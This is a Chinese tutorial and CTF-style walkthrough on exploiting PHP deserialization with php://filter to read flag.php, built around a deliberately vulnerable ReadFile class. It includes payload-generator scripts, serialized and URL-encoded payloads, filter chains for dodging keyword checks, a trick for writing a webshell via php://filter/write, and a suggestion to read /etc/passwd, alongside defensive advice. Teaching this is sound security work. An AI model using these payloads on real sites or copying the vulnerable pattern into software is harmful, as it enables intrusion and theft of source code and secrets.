1. 项目概述:一次典型的PHP反序列化漏洞利用实战

最近在复盘一些经典的CTF题目和渗透测试案例时,我发现“PHP反序列化漏洞”结合“php://filter协议”进行文件读取的利用链,是一个非常值得深入剖析的实战场景。这个组合拳经常出现在一些看似设置了防护,实则存在逻辑缺陷的Web应用中。标题中的“绕过限制读取flag.php文件”精准地指向了这类漏洞利用的最终目标——获取服务器上的敏感文件内容,这通常是CTF比赛中的“flag”或真实渗透测试中的配置文件、源代码等。

简单来说,这个场景模拟了一个常见的漏洞模型:一个Web应用存在反序列化入口(比如接收并反序列化用户可控的 $_GET $_POST $_COOKIE 参数),但开发者可能通过 open_basedir 、文件后缀黑名单或简单的路径检查来限制文件读取。此时,攻击者通过精心构造一个包含 php://filter 伪协议路径的序列化字符串,在反序列化过程中触发 __wakeup() __destruct() 等魔术方法,最终将 flag.php 文件的内容以Base64编码等形式读取并输出,从而绕过直接文件包含或读取的限制。

这不仅仅是CTF中的技巧,在真实的代码审计和渗透测试中,理解这种利用方式能帮助你发现更深层次的安全隐患。接下来,我将从漏洞原理、利用链构造、协议细节到实战调试,完整拆解这个过程,并分享我在实际测试中积累的几点关键心得和避坑指南。

2. 漏洞原理与利用链深度解析

2.1 PHP反序列化漏洞的核心:对象注入与魔术方法

PHP反序列化漏洞的本质是“对象注入”。当 unserialize() 函数的参数用户可控时,攻击者可以传入一个精心构造的序列化字符串。PHP会根据这个字符串还原出对应的对象实例。漏洞的杀伤力,主要来源于对象的“魔术方法”(Magic Methods)。

魔术方法是PHP中一类以双下划线 __ 开头的方法,它们会在对象生命周期的特定时刻被自动调用。在反序列化利用中,最常被利用的是以下几个:

  • __wakeup() : 当 unserialize() 函数成功还原一个对象后,会立即自动调用该对象的 __wakeup() 方法(如果存在)。
  • __destruct() : 当对象被销毁时(如脚本执行结束、 unset() 或对象引用被覆盖)自动调用。
  • __toString() : 当一个对象被当作字符串处理时(如 echo $obj; )自动调用。

攻击者的核心思路是: 寻找一个在反序列化后会被自动调用的魔术方法,并且该方法内部使用了对象自身的属性进行一些危险操作(如文件操作、命令执行、代码执行等)。 通过控制序列化字符串中的属性值,我们就能控制这些危险操作的参数。

举个例子,假设存在这样一个脆弱的类:

class VulnerableClass {
    public $filename;
    public $data;

    public function __destruct() {
        // 危险操作:将data写入filename指定的文件
        file_put_contents($this->filename, $this->data);
    }
}

如果 $filename $data 通过反序列化被我们控制,我们就能实现任意文件写入。在本项目的场景中,我们的目标是将文件 读取 出来,所以我们需要寻找类似 file_get_contents() readfile() include() 等函数被魔术方法调用的地方。

2.2 php://filter协议的角色:文件内容转换器与读取绕过利器

php://filter 是PHP提供的一种封装协议(伪协议),它设计之初主要用于在数据流打开时应用各种过滤器(filter)。正是这些过滤器功能,让它成为了文件读取和绕过限制的神器。

它的基本格式是: php://filter/read=<过滤器链>/resource=<目标文件> 。其中 <过滤器链> 可以由多个过滤器通过管道符 | 连接。

在文件读取漏洞利用中,最关键的过滤器是:

  1. convert.base64-encode : 将文件内容进行Base64编码。
  2. string.rot13 : 对内容进行ROT13编码。
  3. zlib.deflate / zlib.inflate : 进行压缩/解压缩。

为什么它能“绕过限制”?

  • 绕过文件后缀检查 : 有些防护会检查包含的文件名是否以 .php 结尾。使用 php://filter 协议读取文件,传递的参数是协议字符串本身,而非直接的文件路径,可能绕过简单的字符串匹配检查。
  • 解决文件包含导致的代码执行 : 如果我们直接包含 flag.php ,其中的PHP代码会被执行,我们可能看不到源代码(只能看到执行结果或空白)。而通过 convert.base64-encode 过滤器,我们可以将文件内容(包括PHP代码)全部转换为Base64编码的文本,从而“看到”源代码。解码后就能找到flag。
  • 配合反序列化触发 : 在某些复杂的利用链中,目标属性可能被用于 include() file_get_contents() 。直接包含 flag.php 会执行代码,而包含 php://filter/read=convert.base64-encode/resource=flag.php 则会将源码以文本形式读出,这才是我们想要的。

2.3 利用链的串联:从反序列化到文件读取

将两者结合起来,一个典型的利用链构造思路如下:

  1. 代码审计 : 找到存在 unserialize($_GET[‘data’]) 或类似可控反序列化点的代码。
  2. 寻找POP链 : 分析代码中的类,找到一条从反序列化触发点(如 __wakeup )到最终执行文件读取函数(如 file_get_contents )的属性传递路径。这被称为“属性导向编程”(Property-Oriented Programming, POP)链。在简单情况下,可能一个类的 __destruct 方法就直接包含了 file_get_contents($this->file)
  3. 构造Payload : 实例化目标类,将需要控制的属性(如 $file )赋值为我们的 php://filter 协议字符串,例如 $file = ‘php://filter/read=convert.base64-encode/resource=flag.php’;
  4. 序列化与传递 : 使用 serialize() 函数将这个对象实例序列化成字符串,然后通过GET/POST参数传递给目标。
  5. 触发与获取 : 目标服务器反序列化该字符串,还原对象,随后自动调用魔术方法(如 __destruct ),执行 file_get_contents(‘php://filter/read=convert.base64-encode/resource=flag.php’) ,最终输出经过Base64编码的 flag.php 文件内容。

3. 实战环境搭建与漏洞代码分析

3.1 模拟漏洞环境搭建

为了清晰地演示,我们搭建一个最简单的漏洞环境。创建一个 index.php 文件,代码如下:

<?php
highlight_file(__FILE__);

class ReadFile {
    public $filename;

    function __destruct() {
        if (!empty($this->filename)) {
            // 关键漏洞点:直接读取文件内容并输出
            echo file_get_contents($this->filename);
        }
    }
}

// 反序列化入口,从GET参数‘data’获取数据
if (isset($_GET['data'])) {
    $data = $_GET['data'];
    @unserialize($data);
} else {
    echo “No data parameter provided.“;
}

同时,在相同目录下创建目标文件 flag.php ,内容为:

<?php
$flag = “ctf{this_is_a_sample_flag}“;
// 其他业务代码...
?>

这个环境模拟了一个典型的漏洞:

  1. 提供了一个用户可控的反序列化入口( $_GET[‘data’] )。
  2. 存在一个 ReadFile 类,其 __destruct 方法会读取 $filename 属性指定的文件并输出。
  3. 我们的目标是通过反序列化控制 $filename ,从而读取 flag.php

3.2 构造基础Payload

我们首先构造一个不经过滤器的基础Payload,看看直接读取 flag.php 会发生什么。

创建一个 exp.php 脚本用于生成Payload:

<?php
class ReadFile {
    public $filename;
}

$obj = new ReadFile();
$obj->filename = ‘flag.php‘; // 直接赋值目标文件

$payload = serialize($obj);
echo “生成的Payload: “ . $payload . “\n“;
echo “URL编码后: “ . urlencode($payload) . “\n“;
?>

运行 exp.php ,得到:

生成的Payload: O:8:“ReadFile“:1:{s:8:“filename“;s:8:“flag.php“;}
URL编码后: O%3A8%3A%22ReadFile%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D

访问 http://your_target/index.php?data=O%3A8%3A%22ReadFile%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D

结果分析 : 你很可能只看到了一个空白页面,或者只显示了 $flag 变量的值(如果 flag.php 被包含执行了),但看不到 <?php ... ?> 这些源代码。这是因为 file_get_contents() 确实读取了文件内容,但当内容被 echo 输出时,如果其中包含PHP标签,且该文件是以 .php 结尾,在某些配置下,输出可能会被缓冲或处理,导致我们无法直接获取源码。更重要的是,如果目标是获取源代码中的注释或特定字符串,直接输出是不可靠的。

实操心得一:直接读取PHP文件的局限性 在实际测试中,即使 file_get_contents 读取了PHP文件的内容,通过 echo 直接输出,也常常无法在浏览器中完整看到源码。这是因为PHP文件可能被短标签 <?= 、编码问题或者Web服务器/PHP的输出处理干扰。因此,将文件内容进行编码转换是更稳定、通用的方法。

4. 引入php://filter协议构造高级Payload

4.1 构造编码读取Payload

现在,我们使用 php://filter 协议来读取并编码 flag.php 的内容。修改 exp.php

<?php
class ReadFile {
    public $filename;
}

$obj = new ReadFile();
// 使用filter协议,通过base64编码读取文件
$obj->filename = ‘php://filter/read=convert.base64-encode/resource=flag.php‘;

$payload = serialize($obj);
echo “生成的Payload: “ . $payload . “\n“;
echo “URL编码后: “ . urlencode($payload) . “\n“;
// 为了方便,直接输出base64解码后的内容预览(本地测试用)
$encoded_content = file_get_contents($obj->filename);
echo “Base64编码后的内容预览: “ . $encoded_content . “\n“;
echo “解码后内容: “ . base64_decode($encoded_content);
?>

运行后得到新的Payload:

生成的Payload: O:8:“ReadFile“:1:{s:8:“filename“;s:57:“php://filter/read=convert.base64-encode/resource=flag.php“;}

将这个Payload进行URL编码后传递给目标。此时,服务器端的 file_get_contents 会打开这个伪协议流,读取 flag.php 的内容,并先进行Base64编码,然后再返回给 echo 输出。

你会在页面上看到一串Base64字符串,例如:

PD9waHAKJGZsYWcgPSAiY3Rme3RoaXNfaXNfYV9zYW1wbGVfZmxhZ30iOwovLyDmiYDmnInnmoTlm57lpKflsIYKPz4=

使用在线工具或命令行 echo “PD9waHA...“ | base64 -d 进行解码,即可得到清晰的 flag.php 源代码:

<?php
$flag = “ctf{this_is_a_sample_flag}“;
// 其他业务代码...
?>

这样,我们就成功绕过了直接输出PHP源码的障碍,拿到了flag。

4.2 过滤器链的更多玩法

php://filter 的强大之处在于过滤器可以链式组合。例如,某些题目可能会过滤或检查“base64”关键字。我们可以尝试使用其他编码或组合编码来绕过。

  • ROT13编码 php://filter/read=string.rot13/resource=flag.php
    • ROT13是一种简单的字母替换编码。PHP代码中的变量名、字符串经过ROT13后会被混淆,但解码很容易。注意,ROT13只影响字母,数字和符号不变。
  • 多重编码/压缩 php://filter/read=convert.base64-encode|convert.base64-encode/resource=flag.php
    • 这会对内容进行两次Base64编码。有时可以用来绕过一些简单的解码检查或WAF规则。
  • 组合利用 php://filter/read=string.rot13|convert.base64-encode/resource=flag.php
    • 先进行ROT13编码,再进行Base64编码。这增加了Payload的混淆程度。

实操心得二:过滤器链的“写”利用 php://filter 不仅用于读,还能用于写,这在反序列化触发文件写入时极其有用。例如,如果漏洞点是 file_put_contents($this->filename, $this->data) ,我们可以将 $filename 设置为 php://filter/write=convert.base64-decode/resource=shell.php ,然后将 $data 设置为一段Base64编码的PHP代码。这样,在写入时,数据流会先被Base64解码,结果就是我们原始的PHP代码被写入 shell.php ,从而实现一句话木马的上传。这是非常经典的利用技巧。

5. 绕过WAF与防御策略的进阶技巧

在实际的CTF比赛或渗透测试中,题目或目标往往不会这么简单。通常会设置一些障碍。

5.1 绕过关键字检测

如果服务器端对传入的 data 参数进行了简单的关键字过滤(例如黑名单匹配 flag php:// base64 等),我们可以尝试以下方法:

  1. 大小写变换 : PHP的协议处理器和过滤器名称通常是大小写不敏感的。可以尝试 PHP://FilTer CoNvErT.BaSe64-eNcOdE
  2. 使用编码 : 对Payload本身进行URL编码、双重URL编码、Hex编码等。注意, unserialize() 函数本身不解码,所以需要确保在过滤检查之后、反序列化之前,Payload被正确解码。这取决于服务器端代码的逻辑。
  3. 利用PHP的字符串解析特性 : 在GET/POST参数中, php://filter 中的 / 可以用 . 代替(在某些版本的PHP/配置下)。例如 php://filter 可能被写成 php://filter 。但这并非总是有效,需要具体测试。
  4. 寻找替代协议或路径 : 如果绝对路径已知,可以尝试直接使用 /var/www/html/flag.php 。或者使用 zip:// phar:// 等协议进行封装(这通常需要文件上传点配合)。

5.2 处理字符逃逸与对象注入

有时,开发者会对序列化字符串进行一些处理,比如 str_replace ,这可能导致序列化字符串的结构被破坏。例如:

$data = str_replace(‘evil‘, ‘good‘, $_GET[‘data‘]);
$obj = unserialize($data);

如果我们传入的序列化字符串中包含 evil ,被替换成 good 后,字符串长度发生了变化,但序列化结构中的长度标识 s:8 却没有变,导致反序列化失败。这就需要我们进行“字符逃逸”计算,精心构造Payload,使得替换后的字符串恰好能构成一个有效的、属性被我们控制的新对象。这是一个更高级的话题,核心是精确控制序列化字符串的长度字段。

5.3 防御措施与安全开发建议

从防御者角度,如何避免此类漏洞?

  1. 根本方法:避免反序列化不可信数据 。 永远不要对用户输入直接使用 unserialize() 。如果必须使用,考虑使用JSON等更安全的格式。
  2. 使用白名单机制 。 如果业务必须反序列化,应严格限制反序列化的类。可以使用 unserialize($data, [‘allowed_classes‘ => [‘SafeClass1‘, ‘SafeClass2‘]]) 参数(PHP 7.0+),只允许反序列化指定的安全类。
  3. 对魔术方法进行安全检查 。 在 __wakeup() __destruct() 等魔术方法中,对关键属性进行严格的类型和值检查,避免执行危险操作。
  4. 禁用危险协议 。 在 php.ini 中,通过 allow_url_fopen = Off 可以禁用 php:// 等URL封装协议(但可能影响正常功能)。更精细的控制可以使用 allow_url_include = Off 来禁用 include 等函数对远程文件/协议的包含。
  5. 代码审计与自动化扫描 。 在开发流程中引入安全代码审计和静态应用安全测试(SAST)工具,及时发现 unserialize() 与危险魔术方法的组合。

6. 实战中常见问题与排查技巧

在实际利用过程中,你可能会遇到各种问题。下面是一个常见问题排查表:

问题现象 可能原因 排查思路与解决方案
页面空白,无任何输出 1. 反序列化失败,PHP报错被 @ 抑制。
2. __destruct __wakeup 方法未按预期执行。
3. 文件读取失败(路径错误、权限不足)。
1. 移除 @ 运算符或查看PHP错误日志。
2. 检查序列化字符串的类名、属性数量、长度是否完全正确。特别注意转义字符。
3. 尝试读取一个已知存在的文件(如 /etc/passwd )测试路径。使用绝对路径。
报错 unserialize(): Error at offset X of Y bytes 序列化字符串格式错误、长度不符或字符被修改。 1. 仔细核对Payload。确保类名长度、属性名长度、字符串长度与实际内容匹配。
2. 如果服务器端有过滤替换,需计算字符逃逸。
3. 使用 serialize() 函数生成Payload后,最好直接复制,避免手动修改。
输出 php://filter/read=... 这个字符串本身 file_get_contents() 未能成功将协议字符串识别为流,而是当作普通文件路径查找。 1. 确认PHP配置中 allow_url_fopen 是否为 On (默认通常是On)。
2. 尝试其他协议如 file:// 读取绝对路径,确认文件读取功能正常。
3. 检查协议字符串的拼写是否正确。
Base64解码后是乱码或非预期内容 1. 读取的不是目标文件。
2. 文件内容本身是二进制或特殊编码。
3. 输出过程中被额外处理(如压缩、截断)。
1. 确认文件路径和资源名 resource= 后的参数正确。
2. 尝试不使用过滤器直接读取,或使用 string.rot13 看是否为文本。
3. 查看网页源代码,可能Base64输出被HTML实体编码了。
返回错误提示包含 filter 相关错误 过滤器名称拼写错误或不可用。 1. 检查过滤器名称,如 convert.base64-encode 不能写成 convert.base64_encode
2. 查阅PHP手册,确认所用PHP版本支持该过滤器。

实操心得三:利用Error-Based信息泄露 当反序列化失败时,如果错误信息没有被完全抑制,有时会泄露关键的路径信息或类名。例如,报错 Class ‘XXXX‘ not found ,说明我们构造的类名 XXXX 不存在,但服务器端尝试去加载它,这本身就是一个信息点。在盲注或黑盒测试时,可以故意构造错误来探测环境。

7. 从CTF到真实世界的思考

这个“PHP反序列化+php://filter读文件”的组合,在CTF中几乎是入门必考题型。但在真实世界的渗透测试中,它的出现形式会更加隐蔽和复杂。

  • 入口点更隐蔽 : 反序列化入口可能藏在Cookie( PHPSESSID 的一种处理方式)、缓存数据、API通信数据中,而不是明晃晃的 $_GET[‘data’]
  • POP链更复杂 : 真实的CMS或框架拥有庞大的类库,需要审计人员深入跟踪多个类、多个魔术方法之间的调用关系,才能构造出从入口到危险函数的完整利用链(即POP链的挖掘)。这需要扎实的代码审计能力。
  • 限制更多 : 除了代码层面的过滤,还可能遇到WAF、IDS等网络层防护。这就需要更精巧的Payload变形和混淆技术。

理解这个基础模型,是迈向更高级反序列化漏洞利用(如ThinkPHP、Laravel、WordPress插件中的反序列化漏洞)的基石。它训练的是这样一种思维: 寻找程序将数据还原为对象并自动执行代码的路径,并控制这条路径上的关键数据。

最后,再分享一个调试小技巧:在本地复现漏洞时,可以在目标代码的关键位置(如 __destruct 方法开头)加入 echo “Destructor called!\n“; file_put_contents(‘debug.log‘, print_r($this, true), FILE_APPEND); 。这样可以清晰地看到反序列化是否成功、对象属性是否正确,极大提升调试效率。

更多推荐